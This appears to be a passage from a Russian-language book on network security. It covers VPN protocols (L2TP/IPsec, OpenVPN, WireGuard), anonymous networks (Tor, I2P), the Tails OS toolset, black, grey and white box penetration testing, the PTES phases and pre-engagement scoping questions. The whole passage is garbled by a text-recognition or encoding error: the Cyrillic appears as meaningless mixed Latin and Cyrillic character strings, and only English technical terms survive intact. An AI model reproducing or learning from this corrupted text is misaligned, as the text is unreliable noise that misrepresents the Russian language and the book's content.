Ecnu onucars a1y Texuosoruto npoiie, To VPN mo3BoJisieT co3/1aBaTh 4aCTHYIO
CETh MOBEPX MyOGAMUHON ceTr. BOMBIIMHCTBO OPraHU3aIiil HCIOMB3YIOT BHYTPEH-
HIOIO YaCTHYIO CETh JUJISI CBOE MOBCEHEBHOI pabOThl, HO MHOT/IA JIOJSIM HYKHO
HOJIYYUTD JIOCTYII K 9TO CETH U3BHE, OTTY/IA, Ille HEeT PSIMOTO COEIUHEHNUS C CEThIO
opraHusaiuu. Bor TyT-To n mpuxoanT Ha ioMorib VPN, 1103BoJIsIs T0Ib30BaTENSIM
6€e30MaCHO TIOJIyYaTh IOCTYII K YaCTHO# cetn uepes uatepHet. VPN, o cyTH, cosnaer
BUPTYyaJibHOE COEIMHEHNE «TOUKA-TOUKA» MEXY ABYMsT KommboTepamu. VPN-
cepBep YCTaHABIUBAETCS B O/IHOI TOUKE, U TIOJTh30BATENb TOTYYaeT JOCTYI K HEMY
c tomotnpio kiarerta VPN u3 apyroit Touku.

[Ipu ncriompzoBanmu VPN BbI rocTHraeTe MpuMEPHO TOTO K€ YPOBHS aHOHUMHOCTH,
KaK U B cjlydyae ¢ IIPOKCU-CEPBEPOM, — Ballle MeCcTOHaxoskaeHue u [P-axpec OymayT
CKPBITBI OT IIOCTOPOHHUX IJ1a3. EMMHCTBEHHOE CylIeCTBEHHOE OTJINYME — €CJIU CO-
eIMHEHNE ¢ cepBepoM ycTaHaBauBaercs yepes VPN, aTo 106aBisieT 10MOTHUTEb-
HBIIT /101 6e30TaCHOCTH 1 3aluiaeT TpauK OT nepexsara 1 MpoCcayIiku (He CTouT
3a0bIBaTh, YTO BA)KHO BBIOMPATH HAJIEKHOTO IIPOBaiiepa, Bellb BCera eCTh PUCK
PACKpBITHS BAlIMX JJAHHBIX C €70 CTOPOHBI). Ecii y Bac ecTh Takast BO3MOKHOCTD, TO
BBI MOKETe caMu co3naTh cBoit VPN-cepBep.

B unTepHeTE A0CTYITHO MHOKECTBO OPTaHU3aIUi, IPEeOCTABALIONNX YCIYTH
VPN, u 6oJBITMHCTBO UX YCJIYT ABJAAOTCA MaaTHbIME. O3HAKOMUTHCS MOXKHO
¢ ProtonVPN, Windscribe uiu jir06bM ApyruM mporpaMMHbBIM TPOYKTOM Ha Balll
BLIOOP.

TexHonornn noctpoexus VPN

L2TP/IPsec — 310 koMOuHaIus AByx mporokosos: L2TP (Layer 2 Tunneling
Protocol) u TPsec (Internet Protocol Security). 9ta TeXHOIOTHS UCIIOIB3YETCS ISt
cosfaHust BUPTyanbHbIX yacTHBIX ceteil (VPN), oGecrieunBast 6€301acHOCTb, aHO-
HUMHOCTH ¥ KOHDUIEHITNATEHOCTD JAHHBIX TIPH TIepeade depe3 myOamaHyIo CeTh.

L2TP (Layer 2 Tunneling Protocol) — nporokou, npejHasHaueHHbI 1/ CO31aHus
TyHHenel Meskay yerpoiictBamu. Cam 110 cebe OH He TTPEOCTABISIET MNP POBAHIIS,
TI09TOMY €T0 UCTIOMB3YIOT B couetannu ¢ IPsec a7st obectieduenust Ge30MacHOCTH Tiepe-
naun gantbix. [Psec (Internet Protocol Security) — HaGOp MPOTOKOJIOB U aJITOPUT-
MOB, TIpeIHa3HAuYeHHBIX /I MU(PpoBaHus 1 ayTeHTHU(hUKAIIMY TTaKeTOB IaHHBIX Ha
ypoBHe cereBoro rnportokoia IP. IPsec obecrieunBaer 3aiuty 1mepeiaBaeMbIX JaHHbIX
OT TIepexBata, MOAU(MUKAIINN WA BMEIIATEIbCTBA TPETHUX JIUIL.
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Bwmecte L2TP u IPsec cosgaror Hagesxknoe n 6esomacnoe VPN-coennnenne. Korna
nosib3oBarens nogakiodaercs kK L2TP /IPsec VPN, cravasia yctanaBimBaeTcs coein-
HeHue L2TP, koTopoe obecrieunBaeT TYHHETMPOBAHIE MEXK/Y KJIMEHTOM 1 CEPBEPOM.
3atem ucnombayercsd [Psec qig mudpoBanns n ayTeHTUPUKAINN TIepe/laBaeMbIX
JIAHHBIX.

L2TP/IPsec VPN 006b14HO cunTaeTcss 6e301IacHbIM 1 HaAEKHBIM BHIOOPOM IJIsT
coznanusg VPN-coepmnennii. OHako yu4TUTe, YTO HACTPOWKA M MCTIOTb30BAHTE
L2TP/IPsec MoxkeT ObITh CIOKHEe, YeM HACTPOMKa IPOrPAMMHBIX IIPOLYKTOB,
WCITOJIb3YIONNX HeKoTophie apyrue texnonorun VPN (manpumep, OpenVPN unn
WireGuard).

OpenVPN — ojiHa 13 caMbIX MOIYJISIPHBIX W HAJIEKHBIX TEXHOJIOTUIN JIJISI CO3/IaHUS
BUpTyaIbHbIX YacTHBIX ceteil (VPN). ITo OTKPBITBIN U THOKUH TIPOTOKOJI, OCHOBAH-
wbiit Ha npunnunax SSL/TLS ana nmmdpoBanusa u ayreatudukanun. OpenVPN
obecrieurBaeT 6€30MACHOCTD, AHOHUMHOCTD U KOH(DUIEHIIUATBHOCTD TAHHBIX MTPH
nepeave yepes myOJIMIHYO CETb.

OpenVPN paboraer Ha TPAHCIIOPTHOM YPOBHE U MOKET HCIIOJIB30BATH IIPOTOKOJIBI
TCP nnu UDP nns nepenaun manubix. [IpenmytiectBo ucnosnb3oBarust UDP 3a-
KJo4aercs B 0oJiee BBICOKOI CKOPOCTH Iepeadn JaHHbIX, B TO Bpems Kak TCP
obecIieunBaeT Ha/IeKHOCTh U YCTOWYMBOCTD COEMHEHMSI,

Ocnosnble xapaktepuctuku OpenVPN:

® BBICOKHIT yPOBEHB HE30IIACHOCTU: UCTIOJIB3YIOTCSI MeXaHu3Mbl T poBanust SSL/
TLS, takue anroputmsb mmdposBanus, kak AES n RSA, a takke riudpossbre cep-
TUDUKATHI IS Ay TEHTUDUKAIIMY YCTPOMCTB U TI0JIb30BaTeNEl;

® OTKPBITHIII UCXOHBII KO Y COOOIIECTBA €CTh BOSMOXKHOCTD YJIydIlIaTh U MPO-
BePTh 6E30I1aCHOCTH CBOOOLHOIO IIPOrPAMMHOI0 00€CIeYeHN s

® KkpoccIaThOPMEHHOCTD: COBMECTUMOCTD ¢ OOJIBIIMHCTBOM OIEPAI[MOHHBIX CH-
creM, Bkmodasd Windows, macOS, Linux, Android n iOS;

® THOKOCTb U HAaCTPaMBa€MOCTD: IIPEAOCTABIACTCA 1HI/IpOKI/II>,I CIIEKTD OHI_II/IIL/,I KOH-
(bHpraHI/II/I, TIOAPa3yMeBAIOIINX aallTallUIO IO PA3/IMYHbIC HOTp66HOCTI/I u cie-
Hapumn NCIIOJIb30BaHNI;

® TII0/AEpPiKKa MHOI‘OYpOBHeBOfI ayTeHTI/I(l)I/IKaIII/II/IZ BO3MOJKHOCTb MCIIOJIb30BaTh
OHOBPEMEHHO HECKOJIBKO METO/10B aYTeHTI/I(bI/IKaHI/II/I, TaKHX KaK I1apoJiH, IlI/I(i)-
POBbIE CepTI/I(bI/IKaTbI 1 allliapaTHbIE€ KJ/II04YH.

OpenVPN sBisgercs MOIIHBIM, 0e30IaCHbIM U TUOKMM pPelleHneM /IS CO3AaHusI
VPN-coennnenuii u obecrieueHus 3aniuThl JaHHbIX B CeTu.

WireGuard — coBpeMeHHast BRICOKOIIPOU3BOIUTEbHAS 1 OE30MACHAS] TEXHOJIOTUSI
JUISE CO3/IaHusT BUPTYabHBIX yacTHIX ceTeil (VPN). DToT npoTokos pazpaboran
C aKIIEHTOM Ha [IPOCTOTY, CKOPOCTH 1 HA/IEKHOCTD, OJ1aro/Iapst 4eMy OH 00eCTieurnBaeT
BBICOKYIO CTETIEHD 3alllUThI U AHOHUMHOCTH [IPU [Iepejiade JaHHBIX Yepes Iy OIuaHbIE
CeTHU.
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Ocnognble xapakrepuctuku WireGuard:

® TIPOCTOTA U OTKPBITOCTH: OTKPBITHIH, TPOCTON U KOMIAKTHBIN KO/ 06Jerdaert
AyIUT, TOMIEPKKY U OTIAIKY, uTo femaet WireGuard Gosee HameskHbIM 11 6€30-
HaCHBIM, 4YeM HEKOTOpbIe ApyTue Texnosorun VPN;

® BbICOKAs POU3BOIUTENLHOCTD: UCIIOJIb30BAaHNE TAKUX COBPEMEHHbBIX KPUIITOIPa-
(buYecKUX IIPOTOKOJIOB U anropuTMoB, kak Curve25519, ChaCha20, Poly1305
u BLAKE2, g obecriedeHns BbICOKON CKOPOCTU U HU3KOHU 3aJ€PKKU [IPU
nepeaaye TaHHbIX;

® 0e30macHOCTD: ObecTederre 3aMnThl KOHOUAESHITHATLHOCTH 1 TIETOCTHOCTH [TaH-
HBIX C TIOMOIIBIO MG PoBaHUd, Ay TeHTU(DUKAIMHT U CEAHCOBBIX KJIOYEH;

e kpoccrnarOpPMEHHOCTD: TIOJIIEPAKKA MHOKECTBA OIIEPALIMOHHBIX CHCTEM, BKJIIO-
yag Linux, Windows, macOS, Android n iOS;

® TIO//IepP/KKA POYMHUHTA: aBTOMATHYECKOE YCTAHOBJIEHIE COSUHEHUS TIPH TIepe-
KJIOUEHUN MEJKIY PasHBIMU CeTssMU Ui aapecamu [P mosBosisieT obecreunTsb
6ecIIoBHY0 Pab0OTy Ha MOOMJIBHBIX YCTPOICTBAX;

® JIErKOCTh HACTPOUKM: JIOCTYITHOCTD JIJIS TOJIb30BaTE e JII0O0T0 YPOBHSI;

® HU3Kas HAarPysKa Ha CHCTeMY: pa3padoTaH ¢ aKIIEHTOM Ha IPOM3BOAUTENBHOCTb,
[09TOMY OH MOTPeOJIIET MEHbIIE CUCTEMHbBIX PECYPCOB, YeM HEKOTOPbIE APyTHe
texaosiornu VPN.

WireGuard npeacrasisier coboii mHHOBaIMOHHOE U 3 PEKTUBHOE PENIeHNe I
cospanust VPN-coeauHennii, obecriednBaoiiee BHICOKYIO CTelleHb 0e3011acHOCTH,
AHOHMMHOCTHU ¥ TIPOM3BOAUTENbHOCTH TIpHU pabore B CeTw.

AHOHUMMHbIE CeTH

AHOHUMHBIE CETH — 9TO CETH, CO3MAHHbIE /7St 00ECTIeYeHUsT AHOHUMHOCTH W TTPHU-
BaTHOCTH TOJIb30BaTEICH IPU UX B3aUMOICHCTBUH € IPYTUMHU YIaCTHUKAMU U BeO-
pecypcamu B nuaTepHeTe. OHM UCTONB3YIOT Pa3anyHble METO/IbI MUpPOBAHNS,
MapIIpyTU3AIH ¥ COKPBITUS WACHTU(DUKATTMOHHBIX JaHHBIX J1Js 06ecTedeHust
KOH(DUACHIINATBHOCTH 1 AaHOHUMHOCTH T10JIb30BaTe e,

B rakux cersix TpaduK HANPABJSETCST Ye€Pe3 HECKOJIBKO PA3HBIX TOUEK, CO3AHHBIX
APYTUMU YIYaCTHUKaMU. O6LI'—IHO ITOJIb30BaTEJ/IN CETU ABJIAIOTCA YIACTHUKAMU U 110~
MOTAIOT IPYT APYTY mepenaBath Tpaduk. CeTh MOCTPOEHA TAKIM 00Pa30M, UTO CTOY-
HUK U TIOJTyYaTeh HUKOT/a He 00IA0TCs HAIPSAMYTO, KOMMYHUKATIUS TPOUCXO/UT
C WCTIOTb30BAHUEM MHOTOUHCJIEHHBIX TPOMEKYTOUHBIX Y3JI0B, 4TO 0OGeceynBaeT
AHOHMMHOCTD.

Mpk1 He 6szeM HOIIpO6HO OCTaHAaBJINBATbCA Ha TAKUX CETAX BBUAY TOT'O, 9YTO YIKE
paccMOTpeNH UX UCIOJIb30BaHue B pasziesie «CKpIThIil MHTEpHET> To1aBbl 3 «CoOop
OTKPBITOI MH(MOPMAIIUN O I[eIN», HO ellle Pa3 YIIOMSTHEM BayKHeUIIe 13 HUX.

Tor (The Onion Router) — ogHa 13 caMbIX M3BECTHLIX AHOHUMHbBIX CETeHl, HCII0JIb-
3YI0IIasi MHOTOCTIONHYIO CUCTEMY ITHU(MPOBAHUS U MAPIIPYTU3AINH YePe3 CITyIaiiHO
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BBIOpaHHbIE y37IbI ceT (pesneiitbie yaanr). [lompaosarenn Tor, octaBasich aHOHIM-
HBIMH, MOTYT TOJTy4aTh JOCTYII K OOBIYHBIM BeO-cailTaM ¥ CIEIHaTbHbIM CKPBITBIM
pecypcam (JIOMeHBbI .onion).

I2P (Invisible Internet Project) — aHOHUMHASI CETh, KOTOPAsI CO3/IAET MOJTHOCTHIO
m(hPOBAHHYIO CeTh BHYTPU MHTEPHETA, MCIOJIBb3YsI TapaHTUPYIONLYT0 KOH(MUIEHIN -
AIBHOCTD TEXHOIOTHIO. DTO MO3BOJISIET TTIOJIH30BATEISIM 0OMEHUBATHCS HHMDOPMATIH-
eif, 06IIaThCst ¥ TOTYYaTh JOCTYI K PA3INYHBIM CepBICaM 6e3 OTaceHust YTEUKH UX
UAEeHTUDUKATTMOHHBIX TAHHBIX.

AHOHUMHBIE CETU TIOJIE3HDI B CUTyalluAX, KOT/Ia HYKHO COXPAHUTH aHOHUMHOCTD
" 3alllUTUTDH CBOIO IIPUBATHOCTD OT CJIEJKKH, IIEH3YPbl NJIN Bpa)KI[e6HbIX dKTOPOB.
OI[HaKO AHOHUMHDbIE CETH MOTI'YT OBITb UCIIOIb30BAHbI 1 JIJI HE3aKOHHDBIX ueﬂeﬁ, 4qTo
BBI3bIBACT OIIPpEAC/ICHHbIE HpO6]I€MbI 1 OrpaHrn4vYeHre X MpruMEHEHNA.

OnepaumoHHbIe CUCTEMbI, 0becneuynBatoLme
aHOHMMHOCTb

Besyc10BHO, OAHUM U3 CaMbIX SIPKUX NpeAcTaBuTeneii atoro kinacca OC saBisercs
Tails OS.

Tails OS (The Amnesic Incognito Live System) — omepainoHHasi cucremMa, pas-
paboTaHHas ¢ MeTbio 0OeCTeTeHNsT MAKCHUMATBHON aHOHUMHOCTH U Ge30TMacHOCTH
nosib3oBaresieit mpu pabore B nuTepiete. Tails paboTaer kax live-crcrema, To ecTh
sarpyskaercst ¢ BHenrHero Hocuresst (USB-dueniku nian DVD) u He Tpebyer ycra-
HOBKH HAa JKECTKUII TUCK.

OcHosHuble ocobennoctu Tails OS:

® AHOHHMMHOCTH: aBTOMATHYECKOE HAIIPaBJeHEe BCero MHTepHeT-TpadrKa yepes
cetp Tor femaeT ceXKy ¥ UICHTH(MUKAINIO MTOJIb30BaTeNsI 3aTPYAHUTEIBHOIL;

® OTCYTCTBHE CJIeJIOB Ha KOMIIBIOTEPE, C KOTOPOTO OHa ObLIa 3arpyskeHa: 1ocJjie 3a-
BepHieHu:A pa6OTI)I 1 BBIK/TIOYEHM ST KOMITbIOTEPA HE COXPAHAETCA HUKAKUX TaHHBIX
O CeCCHH, YTO JiesaeT NX HEJOCTYIITHBIMU /1JIsA BOCCTAaHOBJICHW ]

® BCTPOCHHBIC 3AI[HUIICHHDBIC IIPUJIOKECHNA: obecrieyenne 6€30MACHOCTU U aHO-
HUMHOCTHU IIpU pa60Te C TEKCTOBBIMU NOKYMEHTAMU, BJIeKTpOHHOfI HOLITOIL/,I,
MIHOBE€HHbBIMMH COO6HI€HI/I§IMI/I n ApyruMm cepBrucamMu € 1moMOIbo Ha60pa npe-
AYCTaHOBJIEHHbIX HpH]IO)KeHHfIZ

¢ Tor Browser: ocHoBan Ha Mozilla Firefox u npeaHasHayeH 111 aHOHUMHOTO
cepduHra B MHTEPHETE € UCIIOIb30BAaHUEM ceTH Tor;

¢ OnionShare: npuoskeHue Jjist aHOHUMHOU Tiepeiaun (hailios uepes cetsb Tor,
TO3BOJISTIONEe OOMEHUBATLCS (hafiaMu ¢ IPYTHUMHU TOH30BATENIME O€30-
HACHO U AaHOHUMHO;

¢ Thunderbird: mouToBbBIN KJIUEHT ¢ IPEAYCTAHOBIECHHBIM JOMOJHEHIEM
Enigmail st mmudppoBaHust U OANKUCH 9JIEKTPOHHBIX MHCEM C UCIIOJIB30Ba-
Huem OpenPGP;
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¢ Pidgin: Mmeccenkep 171t 0OOMEHa MTHOBEHHBIMU COOOIIEHHUSIMU C MTOEPAKKOIT
mudposanusg OTR (Off-the-Record Messaging);

¢ KeePassXC: meHezrep maposieil 17ist 6e30MacHOr0 XPAHEHMsI 1 YIIPABJICHUSI
MapoJIsIMU;

¢ Electrum: 6UTKOMH-KOLIEIEK JLJIA 6e30IacHbIX U AHOHUMHBIX TpaH3aKHHfI
C KpHHTOBaJIIOTOﬁ;

¢ GnuPG: kpunrorpaduvecknii UHCTPYMEHT 71 TIM(MPOBAHUS U MOATTICH
JTAHHBIX C UCIoTb30BanneM mpotokoaa OpenPGP;

¢ Tails Greeter: ”HCTPYMEHT /111 HACTPOIKY MTapaMeTpOB 6E30MaCHOCTH 1 aHO-
HUMHOCTH 11pu 3arpyake Tails, Takux Kak UCI0Ib30BaHNE MaKeTa KIaBHATyPBI,
peRUM GIOKMPOBKHU HKPAHa U APYTHE HACTPOUKH;

¢ MAT (Metadata Anonymisation Toolkit): mHCTpyMEHT Il OUUCTKI MeTa-
JNAHHBIX U3 PA3JIUYHBIX TUIIOB (hAIOB;

¢ GNOME (Censorship Circumvention): Habop MHCTPYMEHTOB JiJist 00X012
GJIOKMPOBOK ¥ TIEH3YPbI B MHTEPHETE;

e xpurnrrorpaduvecKast 3aIuTa: MOAIEPKKA IMUPOKOTO CIEKTPa KpUITorpaduye-
CKUX MHCTPYMCHTOB IJIA H_H/Iq)pOBaHI/IH (baﬁﬂOB, BHEKTpOHHOﬁ IIOYTbI 1 MI'HO-
BEHHBIX COO0IIeHNIT obecrneurnBaeT AOTOJHUTEIbHBIN YPOBEHb 3alUThI JJIsT
0JIb30BATEIbCKIX JaHHBIX.

Tails OS siBisteTCst OJIE3HBIM UHCTPYMEHTOM JJISI TEX, KTO XOUET 00ECTIEYUTH CBOKO
AHOHUMHOCTb 1 0e30TTaCHOCTD MTPK PpaboTe B UHTEPHETE, OCOOEHHO B YCJIOBHSIX YIPO-
3bl CJIEXKKHU, 1IEH3YPbI MJIU XaKePCKUX aTak.



TecTbl HAa NPOHUKHOBEHMUE:
obobLyeHne

EcTb MHOKeECTBO c110c060B IIpoBEACHN A TECTOB Ha IPOHMKHOBEHUE, U 'y KayK/10T'0 13
HMUX CBOM JOCTOMHCTBa U HEAOCTAaTKU. TeHepb, KOr'/Zla Bbl 3HAaKOMbBI CO BCEMM OCHOB-
HBIMU 9TallaMM TECTOB Ha TPOHUKHOBEHUE, TIOCTaPAE€MCA PACCMOTPETDH BECH TTPOIIECC
IIEJINKOM.

CaM 1poriecc TeCTUPOBAHUS OCTATOYHO 9HEPro3aTpaTeH, OH TpedyeT TIATEIbHOTO
TIJIAHUPOBAHUS, OTIPE/IETICHIST CAMOM 1€/ M KOHKPETHBIX TaroB JIJIsT €€ TOCTIKEHUS.
ITocJie 3aBepiueHus MIaHUPOBAHKS, TIOJIyYeHs HeOOXOAUMBIX pa3pelieHnil u nH-
hopMupoBaHK 3a/1€iICTBOBAHHBIX JIMI] HaurHaeTcs caM TecT. OObIYHO ero HaYMHAIOT
co cbopa nHbOPMALIK, KOTOPast BIIOCIEACTBUM IIPUTOANUTCS JJIs CKAHUPOBAHUS CETH
1 IPYTUX aKTUBHBIN feficTBril. [locie qocTrskennst 11eim TeCTUPOBAHUS TIO/ITOTaB-
JINBAETCS OTYET, B KOTOPOM OTPAKAIOTCS BCE JIEHCTBUS, HallZIeHHbIE YSI3BUMOCTH,
METO/IbI X AKCIIITYAaTUPOBAHUS ¥ PEKOMEHIAITUY TI0 YCTPAHEHUIO.

TecThbl HAa TPOHUKHOBEHNUE SIBJSTIOTCS YaCTHI0 HOPMATHHOTO KIUZHEHHOTO ITHKJIA
s060it UT-urdpactpykTypbl. Heo6X0MMOCTh B UX MTPOBEACHUN MOKET ObITH 00Y-
CJIOBJIEHA KaK BHYTPEHHEN MOJUTHKOM, Tak U TPeGOBAHUSMU TPEThEH CTOPOHBI, HO
B JT060M CJTydae UMEHHO TaKue MEPOTPUSTHST MO3BOJISIOT TO-HACTOSIIIIEMY OTICHUTD
BO3MOKHBIE PUCKU U BBISIBUTDH CKPBITHIE TPOOJIEMBI.

OO6bIYHO BO BpeMsT TAKUX TECTOB OIEHWBAIOTCS CAeMyoMne KoMIoHeHTsl N T-
nHQPaCTPYKTYPbL: IPUIOKEHUS, CeTeBble CePBUCDI, CETEeBble YCTPOUCTBA, CPe/ibl
repelaull TaHHbIX, MOATOTOBIEHHOCTD COTPYIHUKOB U (hr3ndeckas Ge30macHOCTb.

TecTbl HAa TPOHUKHOBEHKE MOXKHO KJIACCU(MDUITMPOBATH HA OCHOBE TAKOTO MapaMeTpa,
KaK OCBEIOMJICHHOCTH aTaKYIOIIET0, BBIZICTUB CACIYIONINE TUTTBI: «U€PHBIN SITUKY,
«CepblIii AMUK»> 1 «OeJIbII AMNUK>.

YepHblii MUK — JIydIlie BCETO XapaKTepu3yeT GOJIBIINYI0 4acTh aTak Ha ceTh. B gan-
HOM CJIy4ae 4aiile BCEro aTaka IMPOUCXOAUT YIAAJIEHHO, a aTaKyIONeMy M3HAYATIbHO
M3BECTHO TOJIbKO Ha3BaHUe Opranu3anuu. VIcIoap3ys IpueMbl, B TOM YUCJIe 1 OTTH-
canHbie B ryiaBax 3 «C60p OTKPbITON MH(MOPMAIUK O TIei> 1 4 «AKTUBHBIN cOOP
MAHHBIX> HTOW KHUTH, CIEITATNCT TTOTyYaeT 6oree ToApoOHYI0 HHMOPMAIIHIO O TIeTH
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1 TIpPUMEHSIeT ee JIJIsT TATbHeHTnX elicTBUiL. Bo BpeMs cBOMX /IeMCTBUH aTaKyOMIII
JIOKYMEHTHPYEeT Bce Hal/[eHHbIe YSI3BUMOCTI U WX MOTEHIINAIbHYIO OTTaCHOCTD,
4TOOBI BIIOCIEACTBUN UCIIOIb30BATh [ aTAKU U IIPECTABIEHUS OTYETa 3aKA3UNKY.

Cepblii SIHK — B 3TOM CJIydae aTaKyOIUi H3HAYAIHLHO 00JIalaeT HEKOTOPOil UH-
dhopmarueit, HaprMep, €My U3BECTHBI BEPCUU TIPOTPAMMHOTO 06€CTICUeHUsT UITH
CTPYKTYpa CETH. DTO COKPATIAET BPEMST, HEOOXOIANMOE JIJIST ATAKHU, BE/Ib TIOSTBIISIETCST
BO3MOKHOCTD Y3HATh O CAMBIX KPUTUUYHBIX TOYKAX B CETEBOI MHPPACTPYKTYypeE.
B ocranbHOM ke iporiecc He Gy/IeT OTIUYATBCS OT «4EPHOTO MUK,

Benblii sMMK — 1POU3BONTCS MIPU HAJTUYUU Y aTAKYIONIETO MOJTHONU nH(popMaIinu
o cBoeil 1esu. JIaHHbIH BUL TECTUPOBAHUS MO3BOJIsIET Hanboiee MoJHO OIeHUTh
N T-unhpacTpyKTypy U TapaHTHPOBAHHO 0GHAPYKUTH OOJIBIITYIO YaCTh TIPOOJIEMHBIX
MecT. acTo Takoil criocod TeCTUPOBAHUST CIIOIb3YETCsI IPU TPOBEACHUN BHYTPEH-
HUX ayIUTOB.

[Ipu ourmanbHo pasperieHHOM ayuTe MHGOPMAITMOHHBIX CHCTEM €CTh HECKOJIBKO
BApMaHTOB IIPOBe/IEHNS TECTUPOBAHNUS:

® (cJIenoe TECTUPOBAHHE — AY/IUTOP HE PACHOIAraeT KaKoH-1nb0 BasKHOH HHDOP-
Male o 1eJsn, oJJHaKO UMelolue OTHOIIIEHHE K TeCTUpyeMoi nHGpacTpyKType
COTPYIHUKHU 3apaHee MPeAYMPeKIeHbI O Halla[eHUH;

® [BOiiHOE cJIeTnioe TECTHPOBaHUE — AyJIUTOP HE PacioyiaraeT HUKAaKIUMU IAHHBIMU
0 1eJIU, U O TIPEJICTOSNIEN aTaKe 3HAET JIUIb HECKOJIBKO YeJIOBEK U3 I1eJIeBOI
opraHusanuu; 6OJIbIIAsA YaCTh TECTOB MIPOXOANUT UMEHHO 10 9TOMY CIIeHaPHIO;

® peBepCHOE TECTUPOBaHHE — AYAUTOP UMeET BCIO HHMOPMAIIUIO O CHCTEME, CO-
TPYJAHUKHU 3HAIOT O OYAYIIEM TECTe, HO He PACIIOJATaloT TaHHBIMU O TOM, T/Ie
U KOT/Ia OH OY/IET TIPOUCXOUTD.

CTaHD,apT BbINMOJIHEHNA TECTOB
Ha NPOHUKHOBEHUE

Ectb HECKOMBKO TIOIIYJIAPHDBIX CTaH/IaPTOB, IO KOTOPbIM OOBIYHO BBITIOTHAIOTCS TECTHI
Ha IMTPOHUKHOBEHUE. XoTs1 OHU U He 003aTEJIbHBI K HCIIOJTHEHHWIO, OJTHAKO UX TIPpU-
MeEHEeHHnEe ITIOMOKET, BbI6paB METO/IUKY, n3b6exaTh TUIIMYHBIX OIINO0K U He YIOyCTUTDb
13 BU/1Yy BasKHbIEC BEIIIHN.

OpHuM U3 Takux craHaapros spiasercs PETS, paspaGoTaHHbI HECKOJBKUME 9KC-
nepTaMu 1Mo WHMOPMAITHOHHOH 6E30MAaCHOCTH € TeJIbI0 KOHKPETU3UPOBATH METOJIbI
W Iard, KOTOPbIE JIOJLKHBI MIPEIIPUHUMATD CIieluaiancTl 1o VIB Bo Bpems Tectu-
poBanust. JIaHHbIN CTaHAAPT AOCTYIEH JIJIsS O3HAKOMJICHUST TIOJTHOCTBIO 1 OECILIIATHO
Ha odunraspHOM caifte http://www.pentest-standard.org.

B PETS Bowinensiercst cemb a3 TecTHpOBAHUS:

® [I0JATOTOBUTEJIbHAA (1).':133.;

e c0O0p JaHHbIX;
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MOJICJIMPOBAaHUE YTPO3;
aHaJIn3 y}ISBI/IMOCTeﬁ;
IKCITyaTaluAa yHSBHMOCTeﬁ;

MOCTIKCITyaTalinoHHas ¢asa;

OTYeT.

ITHU ceMb (pa3 OTpayKaioT BCe AEUCTBUS, KOTOPBIE AOJIKHBI ITPOUCXOAUTD BO BPEMs
TecTa Ha mpoHukHoBeHUe. PETS — cTtanmapT mocTaTOYHO HOBBIHN, OMHAKO OH TIO-
CTOSIHHO MOJIEPAKUBACTC, OOHOBJISETCS U UBMEHSIETCS BMECTE ¢ TpeOOBaHUSIMU
k ayzantam 1B.

Hpemﬂe YEM IEPEXOINTDb K PACCMOTPEHN IO Ka)KlIOfI nu3 (baS, CTOUT CKa3aTb O TOM, 4YTO
XOTA 9TOT CTaHZIAPT U IIBITAETCA OXBATHUTDb BECH ITPOIECC TECTAa Ha IPOHNKHOBEHNE,
O/I[HaKO HU O/IMH pea]II)HI)II;'I aAy/JIUT HE ITPOXOAUT I10 CTaHlIapTHOf/,I cxeMme, Ka)KI[beI ns3
HUX 6leeT B YEM-TO OTJIMYATbCA.

MNMoarotoBuTenbHas ga3sa

HacTo NOBTOPSIOT, UTO IJIAHUPOBAHME — 3aJI0T yCIIeXa, U 3TO JACHCTBUTEIbHO TaK,
0cobeHHO Korzia pedb uzet o6 ayaute GesonacHocTu. UTo6bl yauHO TPOBECTH ay/INT,
HEOOXOIMMO CEPhE3HO TIOATOTOBUTLCS, YUECTh BCE HIOAHCHI, MOA06PaTh HYKHBIE
MHCTPYMEHTBI U METO/IUKY.

OO6BIYHO TECT HA IPOHUKHOBEHNE HAYMHAETCS CO BCTPEUYN 3alHTEPECOBAHHBIX CTO-
POH, e 06CyKAAI0TC BCe He0OXOAMMbIE JIECTa/IH, ONPENE/ISIOTCS eI U METO/bI,
a TaKKe JIOAHU, KOTOPbIE MOTYT OBITh BOBJIEYEHBI B IIPOIleCC B AajbHelem. K Komiry
TaKO BCTPEUM y Bac JI0JKHO C(POPMUPOBATHLCS OTIPeIesIeHHOe BUIEHMeE 3a/1a4 U 11e-
Jiell mpencrosmeil paboTsl — 0€3 9TOro MOCJIe BBIIOIHEHNs TecTa OyIeT IpaKTude-
CKU HEBO3MOKHO OIIPEIeJIUTH, BBITTOJTHUIN JIU BBl TTOCTaBJIEHHYIO 3aga4y. [Ipexae
BCETO HEOOXOAMMO OIPEIeIUTh OCHOBHbIE 1EJIM aTaK/, BBISICHUTH, KaKie 00BhEeKThI
OyLyT MOABEPraThCs HANALEHNIO, a KaKle — HeT, OIIPEJeNUTh 0ObEM U OCHOBHOM
TUII TECTOB.

BoT mpuMepHbIii CIIMCOK BOTIPOCOB, KOTOPBIH TOJIKEH 0OCY/KAATHCS HA TAKUX BCTPE-
Jax:

OCHOBHBIE BUJIBI /ICATEIIBHOCTH 11EJIEBOM OPTaHU3aIINN;

€CTh JIM KaKue-T100 OrpaHNIeHHsI, KACAIOIIIUECS] OIIPE/IEIEHHBIX BUIOB TECTOB;
KaKue JaHHbIe ¥ CUCTEMBI OYIYT MOABEPraThCs TECTUPOBAHUIO;

KaKWe Pe3yJIbTaThl 10JIKHBI OBITh TIOJyYeHbl B KOHIIE TECTHPOBAHUS,

KakoBa GyJIeT anpHeiinas cyabba pesyIbraToB TecTa;

KaKnM 6IO,H>KGTOM BbI paciioJjiaraeTe /1Jis IIPpOBe/IEHUA TECTA;

KaKOBa OKOH4YaTeJIbHasAa IeHa TeCTa;
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KaKHne peCypcChbl y BaC UMEIOTCA AJIA TECTUPOBAHUS;
Kakue JeicTBUs Ppa3penieHbl /I ITPOBE/IEHUA TECTA;

KTO OyzeT HporH(MOPMUPOBAH O IIPOBEJCHUN TECTA;

KaKasd I/IH(I)OpMaL[I/IH 6yHeT IToJIy4d€eHa o L[eJIEBOfI CHUCTEME IIepe] HadaJlOM TeCTU-
POBaHUA;

KaKOH pe3yJibTaT MOJKHO CUUTATh y/ITAUHbIM BO BPeMsI IIPOBE/ICHUS TECTa;

® C KeM MOXXHO KOHTaKTHPOBATh B CIydae BOSHUKHOBEHNUS HETIPEABU/ICHHON CH-
Tyaluu.

Heobxoanmo ybenThest B TOM, UTO BCE YUACTHUKU BCTPEUYH TIPEKPACHO MOHUMAIOT
BO3MOJKHbBIE PUCKU MPOBEJICHUS OTPEEJICHHBIX TECTOB, a TAKKe UX CHEIU(pUKY.
